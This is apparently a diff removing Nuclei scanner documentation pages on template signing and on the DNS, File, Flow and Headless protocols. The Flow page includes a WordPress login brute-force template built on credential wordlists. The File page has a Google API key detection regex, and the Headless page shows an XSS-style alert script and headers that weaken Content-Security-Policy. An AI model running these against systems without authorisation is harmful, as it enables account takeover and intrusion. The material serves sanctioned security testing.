Template signing via the private-public key mechanism is a crucial aspect of ensuring the integrity, authenticity and security of templates. This mechanism involves the use of asymmetric cryptography, specifically ECDSA algorithm, to create a secure and verifiable signature.
|
||||
|
||||
In this process, a template author generates a private key that remains confidential and securely stored. The corresponding public key is then shared with the template consumers. When a template is created or modified, the author signs it using their private key, generating a unique signature that is attached to the template.
|
||||
|
||||
Template consumers can verify the authenticity and integrity of a signed template by using the author's public key. By applying the appropriate cryptographic algorithm (ECDSA), they can validate the signature and ensure that the template has not been tampered with since it was signed. This provides a level of trust, as any modifications or unauthorized changes to the template would result in a failed verification process.
|
||||
|
||||
By employing the private-public key mechanism, template signing adds an additional layer of security and trust to the template ecosystem. It helps establish the identity of the template author and ensures that the templates used in various systems are genuine and have not been altered maliciously.
|
||||
|
||||
**What does signing a template mean?**
|
||||
|
||||
Template signing is a mechanism to ensure the integrity and authenticity of templates. The primary goal is to provide template writers/consumers a way to trust crowdsource/custom templates ensuring that they are not tampered
|
||||
|
||||
All [official nuclei templates](https://github.com/projectdiscovery/nuclei-templates) include a digital signature in them and are verified by nuclei while loading templates using ProjectDiscovery's public key shipped with nuclei binary itself.
|
||||
|
||||
Individuals / Organizations running nuclei in their work environment can generate their own key-pair with `nuclei` and sign their custom templates with their private key, thus ensuring that only authorized templates are being used in their environment.
|
||||
|
||||
This also allows entities to fully utilize the power of new protocols like `code` without worrying about malicious custom templates being used in their environment.
|
||||
|
||||
**NOTE:**
|
||||
|
||||
- **Template signing is optional for all protocols except `code`**.
|
||||
- **Unsigned code templates are disabled and can not be executed using nuclei**.
|
||||
- **Only signed code templates by the author (yourself) or ProjectDiscovery can be executed.**
|
||||
- **Template signing is primarily introduced to ensure security of template to run code on host machine.**
|
||||
- Code file references (ex: `source: protocols/code/pyfile.py`) are allowed and content of these files is included in the template digest.
|
||||
- Payload file references (ex: `payloads: protocols/http/params.txt`) are not included in the template digest as it is treated as a payload/helper and not actual code that is being executed.
|
||||
- Template signing is deterministic while both signing and verifying a template i.e if a code file is referenced in a template that is present outside of templates directory with `-lfa` flag then verification will fail if same template is used without `-lfa` flag. (Note this only applies to `-lfa` i.e local file access flag only)
|
||||
|
||||
### Signing Custom Template
|
||||
|
||||
Simplest and recommended way to generate key-pair and signing/verfifying templates is to use `nuclei` itself.
|
||||
|
||||
When Signing a template if key-pair does not exist then nuclei will prompt user to generate a new key-pair with options.
|
||||
|
||||
```console
|
||||
$ ./nuclei -t templates.yaml -sign
|
||||
[INF] Generating new key-pair for signing templates
|
||||
[*] Enter User/Organization Name (exit to abort) : acme
|
||||
[*] Enter passphrase (exit to abort):
|
||||
[*] Enter same passphrase again:
|
||||
[INF] Successfully generated new key-pair for signing templates
|
||||
```
|
||||
> **Note:** Passphrase is optional and can be left blank when used private key is encrypted with passphrase using PEMCipherAES256 Algo
|
||||
|
||||
Once key-pair is generated, you can sign any custom template using `-sign` flag as shown below.
|
||||
|
||||
```console
|
||||
$ ./nuclei -t templates.yaml -sign
|
||||
[INF] All templates signatures were elaborated success=1 failed=0
|
||||
```
|
||||
|
||||
> **Note:** Every time you make any change in your code template, you need to resign it again to run with nuclei.
|
||||
|
||||
### Template Digest and Signing Keys
|
||||
|
||||
When a template is signed, a digest is generated and added to the template. This digest is a hash of the template content and is used to verify the integrity of the template. If the template is modified after signing, the digest will change, and the signature verification will fail during template loading.
|
||||
|
||||
```yaml
|
||||
# digest: 4a0a00473045022100eb01da6b97893e7868c584f330a0cd52df9bddac005860bb8595ba5b8aed58c9022050043feac68d69045cf320cba9298a2eb2e792ea4720d045d01e803de1943e7d:4a3eb6b4988d95847d4203be25ed1d46
|
||||
```
|
||||
|
||||
The digest is in the format of `signature:fragment`, where the signature is the digital signature of the template used to verify its integrity, and the fragment is metadata generated by MD5 hashing the public key to disable re-signing of code templates not written by you.
|
||||
|
||||
The key-pair generated by Nuclei is stored in two files in the `$CONFIG/nuclei/keys directory`, where `$CONFIG` is the system-specific config directory. The private key is stored in nuclei-user-private-key.pem, which is encrypted with a passphrase if provided. The public key is stored in nuclei-user.crt, which includes the public key and identifier (e.g., user/org name) in a self-signed certificate.
|
||||
|
||||
```bash
|
||||
$ la ~/.config/nuclei/keys
|
||||
total 16
|
||||
-rw------- 1 tarun staff 251B Oct 4 21:45 nuclei-user-private-key.pem # encrypted private key with passphrase
|
||||
-rw------- 1 tarun staff 572B Oct 4 21:45 nuclei-user.crt # self signed certificate which includes public key and identifier (i.e user/org name)
|
||||
```
|
||||
|
||||
To use the public key for verification, you can either copy it to the `$CONFIG/nuclei/keys` directory on another user's machine or set the `NUCLEI_USER_CERTIFICATE` environment variable to the path or content of the public key.
|
||||
|
||||
To use the private key, you can copy it to the `$CONFIG/nuclei/keys` directory on another user's machine or set the `NUCLEI_USER_PRIVATE_KEY` environment variable to the path or content of the private key.
|
||||
|
||||
```console
|
||||
$ export NUCLEI_USER_CERTIFICATE=$(cat path/to/nuclei-user.crt)
|
||||
$ export NUCLEI_USER_PRIVATE_KEY=$(cat path/to/nuclei-user-private-key.pem)
|
||||
```
|
||||
|
||||
It's important to note that you are responsible for securing and managing the private key, and Nuclei has no accountability for any loss of the private key.
|
||||
|
||||
By default, Nuclei loads the user certificate (public key) from the default locations mentioned above and uses it to verify templates. When running Nuclei, it will execute signed templates and warn about executing unsigned custom templates and block unsigned code templates. You can disable this warning by setting the `HIDE_TEMPLATE_SIG_WARNING` environment variable to `true`.
|
||||
|
||||
## FAQ
|
||||
|
||||
**Found X unsigned or tampered code template?**
|
||||
|
||||
```bash
|
||||
./nuclei -u scanme.sh -t simple-code.yaml
|
||||
|
||||
__ _
|
||||
____ __ _______/ /__ (_)
|
||||
/ __ \/ / / / ___/ / _ \/ /
|
||||
/ / / / /_/ / /__/ / __/ /
|
||||
/_/ /_/\__,_/\___/_/\___/_/ v3.0.0-dev
|
||||
|
||||
projectdiscovery.io
|
||||
|
||||
[WRN] Found 1 unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)
|
||||
[INF] Current nuclei version: v3.0.0-dev (development)
|
||||
[INF] Current nuclei-templates version: v9.6.4 (latest)
|
||||
[WRN] Executing 1 unsigned templates. Use with caution.
|
||||
[INF] Targets loaded for current scan: 1
|
||||
[INF] No results found. Better luck next time!
|
||||
[FTL] Could not run nuclei: no templates provided for scan
|
||||
```
|
||||
|
||||
Here `simple-code.yaml` is a code protocol template which is not signed or content of template has been modified after signing which indicates loss of integrity of template.
|
||||
If you are template writer then you can go ahead and sign the template using `-sign` flag and if you are template consumer then you should carefully examine the template before signing it.
|
||||
|
||||
**Re-signing code templates are not allowed for security reasons?**
|
||||
|
||||
```bash
|
||||
nuclei -u scanme.sh -t simple-code.yaml -sign
|
||||
|
||||
[ERR] could not sign 'simple-code.yaml': [signer:RUNTIME] re-signing code templates are not allowed for security reasons.
|
||||
[INF] All templates signatures were elaborated success=0 failed=1
|
||||
```
|
||||
|
||||
The error message `re-signing code templates are not allowed for security reasons` comes from the Nuclei engine. This error indicates that a code template initially signed by another user and someone is trying to re-sign it.
|
||||
|
||||
This measure was implemented to prevent running untrusted templates unknowingly, which might lead to potential security issues.
|
||||
When you encounter this error, it suggests that you're dealing with a template that has been signed by another user Likely, the original signer is not you or the team from projectdiscovery.
|
||||
|
||||
By default, Nuclei disallows executing code templates that are signed by anyone other than you or from the public templates provided by projectdiscovery/nuclei-templates.
|
||||
|
||||
This is done to prevent potential security abuse using code templates.
|
||||
|
||||
To resolve this error:
|
||||
1. Open and thoroughly examine the code template for any modifications.
|
||||
2. Manually remove the existing digest signature from the template.
|
||||
3. Sign the template again.
|
||||
|
||||
This way, you can ensure that only templates verified and trusted by you (or projectdiscovery) are run, thus maintaining a secure environment.
|
||||
@ -1,111 +0,0 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
DNS protocol can be modelled in nuclei with ease. Fully Customizable DNS requests can be sent by nuclei to nameservers and matching/extracting can be performed on their response.
|
||||
|
||||
DNS Requests start with a **dns** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
dns:
|
||||
```
|
||||
|
||||
### Type
|
||||
|
||||
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
|
||||
|
||||
```yaml
|
||||
# type is the type for the dns request
|
||||
type: A
|
||||
```
|
||||
|
||||
### Name
|
||||
|
||||
The next part of the requests is the DNS **name** to resolve. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
name: {{FQDN}}.com
|
||||
# This value will be replaced on execution with the FQDN.
|
||||
# If FQDN is https://this.is.an.example then the
|
||||
# name will get replaced to the following: this.is.an.example.com
|
||||
```
|
||||
|
||||
As of now the tool supports only one name per request.
|
||||
|
||||
|
||||
### Class
|
||||
|
||||
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
|
||||
|
||||
```yaml
|
||||
# method is the class for the dns request
|
||||
class: inet
|
||||
```
|
||||
|
||||
### Recursion
|
||||
|
||||
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
|
||||
|
||||
```yaml
|
||||
# Recursion is a boolean determining if the request is recursive
|
||||
recursion: true
|
||||
```
|
||||
|
||||
### Retries
|
||||
|
||||
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
|
||||
|
||||
```yaml
|
||||
# Retries is a number of retries before giving up on dns resolution
|
||||
retries: 3
|
||||
```
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **DNS** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-----------------------------|
|
||||
| request | DNS Request |
|
||||
| rcode | DNS Rcode |
|
||||
| question | DNS Question Message |
|
||||
| extra | DNS Message Extra Field |
|
||||
| answer | DNS Message Answer Field |
|
||||
| ns | DNS Message Authority Field |
|
||||
| raw / all / body | Raw DNS Message |
|
||||
|
||||
### **Example DNS Template**
|
||||
|
||||
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
|
||||
|
||||
```yaml
|
||||
id: dummy-cname-a
|
||||
|
||||
info:
|
||||
name: Dummy A dns request
|
||||
author: mzack9999
|
||||
severity: none
|
||||
description: Checks if CNAME and A record is returned.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: A
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
# and also at least 1 A record
|
||||
- "IN\tA"
|
||||
condition: and
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/dns)
|
||||
@ -1,104 +0,0 @@
|
||||
---
|
||||
title : "File"
|
||||
---
|
||||
|
||||
Nuclei allows modelling templates that can match/extract on filesystem too.
|
||||
|
||||
```yaml
|
||||
# Start of file template block
|
||||
file:
|
||||
```
|
||||
|
||||
### Extensions
|
||||
|
||||
To match on all extensions (except the ones in default denylist), use the following -
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
```
|
||||
|
||||
You can also provide a list of custom extensions that should be matched upon.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- py
|
||||
- go
|
||||
```
|
||||
|
||||
A denylist of extensions can also be provided. Files with these extensions will not be processed by nuclei.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
|
||||
denylist:
|
||||
- go
|
||||
- py
|
||||
- txt
|
||||
```
|
||||
|
||||
By default, certain extensions are excluded in nuclei file module. A list of these is provided below-
|
||||
|
||||
```
|
||||
3g2,3gp,7z,apk,arj,avi,axd,bmp,css,csv,deb,dll,doc,drv,eot,exe,flv,gif,gifv,gz,h264,ico,iso,jar,jpeg,jpg,lock,m4a,m4v,map,mkv,mov,mp3,mp4,mpeg,mpg,msi,ogg,ogm,ogv,otf,pdf,pkg,png,ppt,psd,rar,rm,rpm,svg,swf,sys,tar,tar.gz,tif,tiff,ttf,txt,vob,wav,webm,wmv,woff,woff2,xcf,xls,xlsx,zip
|
||||
```
|
||||
|
||||
### More Options
|
||||
|
||||
**max-size** parameter can be provided which limits the maximum size (in bytes) of files read by nuclei engine.
|
||||
|
||||
As default the `max-size` value is 5 MB (5242880), Files larger than the `max-size` will not be processed.
|
||||
|
||||
-----
|
||||
|
||||
**no-recursive** option disables recursive walking of directories / globs while input is being processed for file module of nuclei.
|
||||
|
||||
### Matchers / Extractor
|
||||
|
||||
**File** protocol supports 2 types of Matchers -
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
|
||||
| Extractors Type | Part Matched |
|
||||
|-----------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
### **Example File Template**
|
||||
|
||||
The final example template file for a Private Key detection is provided below.
|
||||
|
||||
```yaml
|
||||
id: google-api-key
|
||||
|
||||
info:
|
||||
name: Google API Key
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
- txt
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: google-api-key
|
||||
regex:
|
||||
- "AIza[0-9A-Za-z\\-_]{35}"
|
||||
```
|
||||
|
||||
```bash
|
||||
# Running file template on http-response/ directory
|
||||
nuclei -t file.yaml -target http-response/
|
||||
|
||||
# Running file template on output.txt
|
||||
nuclei -t file.yaml -target output.txt
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/file)
|
||||
@ -1,224 +0,0 @@
|
||||
---
|
||||
title : Flow
|
||||
---
|
||||
|
||||
|
||||
Template flow engine introduced in v3, brings two significant enhancements to Nuclei:
|
||||
|
||||
- The ability to conditionally execute requests
|
||||
- The orchestration of request execution
|
||||
|
||||
These features are implemented using JavaScript (ECMAScript 5.1) via the [goja](https://github.com/dop251/goja) backend.
|
||||
|
||||
## Conditional Execution
|
||||
|
||||
Many times when writing complex templates we might need to add some extra checks (or conditional statements) before executing certain part of request.
|
||||
|
||||
An ideal example of this would be when [bruteforcing wordpress login](https://templates.nuclei.sh/public/wordpress-weak-credentials) with default usernames and passwords, but if we carefully re-evaluate this template, we can see that template is sending 276 requests without even checking, if the url actually exists or target site is actually a wordpress site.
|
||||
|
||||
With addition of flow in Nuclei v3 we can re-write this template to first check if target is a wordpress site, if yes then bruteforce login with default credentials and this can be achieved by simply adding one line of content i.e `flow: http(1) && http(2)` and nuclei will take care of everything else.
|
||||
|
||||
```yaml
|
||||
id: wordpress-bruteforce
|
||||
|
||||
info:
|
||||
name: WordPress Login Bruteforce
|
||||
author: pdteam
|
||||
severity: high
|
||||
|
||||
flow: http(1) && http(2)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "WordPress"
|
||||
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/wp-login.php"
|
||||
|
||||
body: |
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||||
|
||||
attack: clusterbomb
|
||||
payloads:
|
||||
users: helpers/wordlists/wp-users.txt
|
||||
passwords: helpers/wordlists/wp-passwords.txt
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- status_code == 302
|
||||
- contains_all(header, "/wp-admin","wordpress_logged_in")
|
||||
condition: and
|
||||
```
|
||||
|
||||
The update template now seems straight forward and easy to understand. we are first checking if target is a wordpress site and then executing bruteforce requests. This is just a simple example of conditional execution and flow accepts any Javascript (ECMAScript 5.1) expression/code so you are free to craft any conditional execution logic you want.
|
||||
|
||||
## Request Execution Orchestration
|
||||
|
||||
Flow is a powerful Nuclei feature that provides enhanced orchestration capabilities for executing requests. The simplicity of conditional execution is just the beginning. With flow, you can:
|
||||
|
||||
- Iterate over a list of values and execute a request for each one
|
||||
- Extract values from a request, iterate over them, and perform another request for each
|
||||
- Get and set values within the template context (global variables)
|
||||
- Write output to stdout for debugging purposes or based on specific conditions
|
||||
- Introduce custom logic during template execution
|
||||
- Use ECMAScript 5.1 JavaScript features to build and modify variables at runtime
|
||||
- Update variables at runtime and use them in subsequent requests.
|
||||
|
||||
Think of request execution orchestration as a bridge between JavaScript and Nuclei, offering two-way interaction within a specific template.
|
||||
|
||||
**Practical Example: Vhost Enumeration**
|
||||
|
||||
To better illustrate the power of flow, let's consider developing a template for vhost (virtual host) enumeration. This set of tasks typically requires writing a new tool from scratch. Here are the steps we need to follow:
|
||||
1. Retrieve the SSL certificate for the provided IP (using tlsx)
|
||||
- Extract `subject_cn` (CN) from the certificate
|
||||
- Extract `subject_an` (SAN) from the certificate
|
||||
- Remove wildcard prefixes from the values obtained in the steps above
|
||||
2. Bruteforce the request using all the domains found from the SSL request
|
||||
|
||||
You can utilize flow to simplify this task. The JavaScript code below orchestrates the vhost enumeration:
|
||||
|
||||
```javascript
|
||||
ssl();
|
||||
for (let vhost of iterate(template["ssl_domains"])) {
|
||||
set("vhost", vhost);
|
||||
http();
|
||||
}
|
||||
```
|
||||
|
||||
In this code, we've introduced 5 extra lines of JavaScript. This allows the template to perform vhost enumeration. The best part? You can run this at scale with all features of Nuclei, using supported inputs like ASN, CIDR, URL.
|
||||
|
||||
Let's break down the JavaScript code:
|
||||
|
||||
1. `ssl()`: This function executes the SSL request.
|
||||
2. `template["ssl_domains"]`: Retrieves the value of `ssl_domains` from the template context.
|
||||
3. `iterate()`: Helper function that iterates over any value type while handling empty or null values.
|
||||
4. `set("vhost", vhost)`: Creates a new variable `vhost` in the template and assigns the `vhost` variable's value to it.
|
||||
5. `http()`: This function conducts the HTTP request.
|
||||
|
||||
By understanding and taking advantage of Nuclei's `flow`, you can redefine the way you orchestrate request executions, making your templates much more powerful and efficient.
|
||||
|
||||
Here is working template for vhost enumeration using flow:
|
||||
|
||||
```yaml
|
||||
id: vhost-enum-flow
|
||||
|
||||
info:
|
||||
name: vhost enum flow
|
||||
author: tarunKoyalwar
|
||||
severity: info
|
||||
description: |
|
||||
vhost enumeration by extracting potential vhost names from ssl certificate.
|
||||
|
||||
flow: |
|
||||
ssl();
|
||||
for (let vhost of iterate(template["ssl_domains"])) {
|
||||
set("vhost", vhost);
|
||||
http();
|
||||
}
|
||||
|
||||
ssl:
|
||||
- address: "{{Host}}:{{Port}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{vhost}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- status_code != 400
|
||||
- status_code != 502
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"VHOST: " + vhost + ", SC: " + status_code + ", CL: " + content_length'
|
||||
```
|
||||
|
||||
## JS Bindings
|
||||
|
||||
This section contains a brief description of all nuclei JS bindings and their usage.
|
||||
|
||||
### Protocol Execution Function
|
||||
|
||||
In nuclei, any listed protocol can be invoked or executed in JavaScript using the `protocol_name()` format. For example, you can use `http()`, `dns()`, `ssl()`, etc.
|
||||
|
||||
If you want to execute a specific request of a protocol (refer to nuclei-flow-dns for an example), it can be achieved by passing either:
|
||||
|
||||
- The index of that request in the protocol (e.g.,`dns(1)`, `dns(2)`)
|
||||
- The ID of that request in the protocol (e.g., `dns("extract-vps")`, `http("probe-http")`)
|
||||
|
||||
For more advanced scenarios where multiple requests of a single protocol need to be executed, you can specify their index or ID one after the other (e.g., dns("extract-vps","1")).
|
||||
|
||||
This flexibility in using either index numbers or ID strings to call specific protocol requests provides controls for tailored execution, allowing you to build more complex and efficient workflows. more complex use cases multiple requests of a single protocol can be executed by just specifying their index or id one after another (ex: `dns("extract-vps","1")`)
|
||||
|
||||
### Iterate Helper Function
|
||||
|
||||
Iterate is a nuclei js helper function which can be used to iterate over any type of value like **array**, **map**, **string**, **number** while handling empty/nil values.
|
||||
|
||||
This is addon helper function from nuclei to omit boilerplate code of checking if value is empty or not and then iterating over it
|
||||
|
||||
```javascript
|
||||
iterate(123,{"a":1,"b":2,"c":3})
|
||||
|
||||
// iterate over array with custom separator
|
||||
iterate([1,2,3,4,5], " ")
|
||||
```
|
||||
|
||||
### Set Helper Function
|
||||
|
||||
When iterating over a values/array or some other use case we might want to invoke a request with custom/given value and this can be achieved by using `set()` helper function. When invoked/called it adds given variable to template context (global variables) and that value is used during execution of request/protocol. the format of `set()` is `set("variable_name",value)` ex: `set("username","admin")`.
|
||||
|
||||
```javascript
|
||||
for (let vhost of myArray) {
|
||||
set("vhost", vhost);
|
||||
http(1)
|
||||
}
|
||||
```
|
||||
**Note:** In above example we used `set("vhost", vhost)` which added `vhost` to template context (global variables) and then called `http(1)` which used this value in request.
|
||||
|
||||
### Template Context
|
||||
|
||||
A template context is nothing but a map/jsonl containing all this data along with internal/unexported data that is only available at runtime (ex: extracted values from previous requests, variables added using `set()` etc). This template context is available in javascript as `template` variable and can be used to access any data from it. ex: `template["dns_cname"]`, `template["ssl_subject_cn"]` etc.
|
||||
|
||||
```javascript
|
||||
template["ssl_domains"] // returns value of ssl_domains from template context which is available after executing ssl request
|
||||
template["ptrValue"] // returns value of ptrValue which was extracted using regex with internal: true
|
||||
```
|
||||
Lot of times we don't known what all data is available in template context and this can be easily found by printing it to stdout using `log()` function
|
||||
|
||||
```javascript
|
||||
log(template)
|
||||
```
|
||||
|
||||
### Log Helper Function
|
||||
|
||||
It is a nuclei js alternative to `console.log` and this pretty prints map data in readable format
|
||||
|
||||
**Note:** This should be used for debugging purposed only as this prints data to stdout
|
||||
|
||||
### Dedupe
|
||||
|
||||
Lot of times just having arrays/slices is not enough and we might need to remove duplicate variables . for example in earlier vhost enumeration we did not remove any duplicates as there is always a chance of duplicate values in `ssl_subject_cn` and `ssl_subject_an` and this can be achieved by using `dedupe()` object. This is nuclei js helper function to abstract away boilerplate code of removing duplicates from array/slice
|
||||
|
||||
```javascript
|
||||
let uniq = new Dedupe(); // create new dedupe object
|
||||
uniq.Add(template["ptrValue"])
|
||||
uniq.Add(template["ssl_subject_cn"]);
|
||||
uniq.Add(template["ssl_subject_an"]);
|
||||
log(uniq.Values())
|
||||
```
|
||||
|
||||
And that's it, this automatically converts any slice/array to map and removes duplicates from it and returns a slice/array of unique values
|
||||
|
||||
> Similar to DSL helper functions . we can either use built in functions available with `Javscript (ECMAScript 5.1)` or use DSL helper functions and its upto user to decide which one to uses.
|
||||
@ -1,384 +0,0 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
Nuclei supports automation of a browser with simple DSL. Headless browser engine can be fully customized and user actions can be scripted allowing complete control over the browser. This allows for a variety of unique and custom workflows.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
headless:
|
||||
```
|
||||
|
||||
### Actions
|
||||
|
||||
Action is a single piece of Task for the Nuclei Headless Engine. Each action manipulates the browser state in some way, and finally leads to the state that we are interested in capturing.
|
||||
|
||||
Nuclei supports a variety of actions. A list of these Actions along with their arguments are given below -
|
||||
|
||||
### navigate
|
||||
|
||||
Navigate visits a given URL. url field supports variables like `{{BaseURL}}`, `{{Hostname}}` to customize the request fully.
|
||||
|
||||
```yaml
|
||||
action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}
|
||||
```
|
||||
|
||||
#### script
|
||||
|
||||
Script runs a JS code on the current browser page. At the simplest level, you can just provide a `code` argument with the JS snippet you want to execute, and it will be run on the page.
|
||||
|
||||
```yaml
|
||||
action: script
|
||||
args:
|
||||
code: alert(document.domain)
|
||||
```
|
||||
|
||||
Suppose you want to run a matcher on a JS object to inspect its value. This type of data extraction use cases are also supported with nuclei headless. As an example, let's say the application sets an object called `window.random-object` with a value, and you want to match on that value.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: window.random-object
|
||||
name: script-name
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: script-name
|
||||
words:
|
||||
- "some-value"
|
||||
```
|
||||
|
||||
Nuclei supports running some custom Javascript, before the page load with the `hook` argument. This will always run the provided Javascript, before any of the pages load.
|
||||
|
||||
The example provided hooks `window.alert` so that the alerts that are generated by the application do not stop the crawler.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: (function() { window.alert=function(){} })()
|
||||
hook: true
|
||||
```
|
||||
|
||||
This is one use case, there are many more use cases of function hooking such as DOM XSS Detection and Javascript-Injection based testing techniques. Further examples are provided on examples page.
|
||||
|
||||
#### click
|
||||
|
||||
Click simulates clicking with the Left-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: click
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
Nuclei supports a variety of selector types, including but not limited to XPath, Regex, CSS, etc. For more information about selectors, see [here](#selectors).
|
||||
|
||||
#### rightclick
|
||||
|
||||
RightClick simulates clicking with the Right-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: rightclick
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### text
|
||||
|
||||
Text simulates typing something into an input with Keyboard. Selectors can be used to specify the element to type in.
|
||||
|
||||
```yaml
|
||||
action: text
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: username
|
||||
```
|
||||
|
||||
#### screenshot
|
||||
|
||||
Screenshots takes the screenshots of a page and writes it to disk. It supports both full page and normal screenshots.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
```
|
||||
|
||||
If you require full page screenshot, it can be achieved with `fullpage: true` option in the args.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
fullpage: true
|
||||
```
|
||||
|
||||
#### time
|
||||
|
||||
Time enters values into time inputs on pages in RFC3339 format.
|
||||
|
||||
```yaml
|
||||
action: time
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: 2006-01-02T15:04:05Z07:00
|
||||
```
|
||||
|
||||
#### select
|
||||
|
||||
Select performs selection on an HTML Input by a selector.
|
||||
|
||||
```yaml
|
||||
action: select
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
selected: true
|
||||
value: option[value=two]
|
||||
selector: regex
|
||||
```
|
||||
|
||||
#### files
|
||||
|
||||
Files handles a file upload input on the webpage.
|
||||
|
||||
```yaml
|
||||
action: files
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: /root/test/payload.txt
|
||||
```
|
||||
|
||||
#### waitload
|
||||
|
||||
WaitLoads waits for a page to finish loading and get in Idle state.
|
||||
|
||||
```yaml
|
||||
action: waitload
|
||||
```
|
||||
|
||||
Nuclei's `waitload` action waits for DOM to load, and window.onload event to be received after which we wait for the page to become idle for 1 seconds.
|
||||
|
||||
|
||||
#### getresource
|
||||
|
||||
GetResource returns the src attribute for an element.
|
||||
|
||||
```yaml
|
||||
action: getresource
|
||||
name: extracted-value-src
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### extract
|
||||
|
||||
Extract extracts either the Text for an HTML Node, or an attribute as specified by the user.
|
||||
|
||||
The below code will extract the Text for the given XPath Selector Element, which can then also be matched upon by name `extracted-value` with matchers and extractors.
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
An attribute can also be extracted for an element. For example -
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value-href
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
target: attribute
|
||||
attribute: href
|
||||
```
|
||||
|
||||
#### setmethod
|
||||
|
||||
SetMethod overrides the method for the request.
|
||||
|
||||
```yaml
|
||||
action: setmethod
|
||||
args:
|
||||
part: request
|
||||
method: DELETE
|
||||
```
|
||||
|
||||
#### addheader
|
||||
|
||||
AddHeader adds a header to the requests / responses. This does not overwrite any pre-existing headers.
|
||||
|
||||
```yaml
|
||||
action: addheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### setheader
|
||||
|
||||
SetHeader sets a header in the requests / responses.
|
||||
|
||||
```yaml
|
||||
action: setheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### deleteheader
|
||||
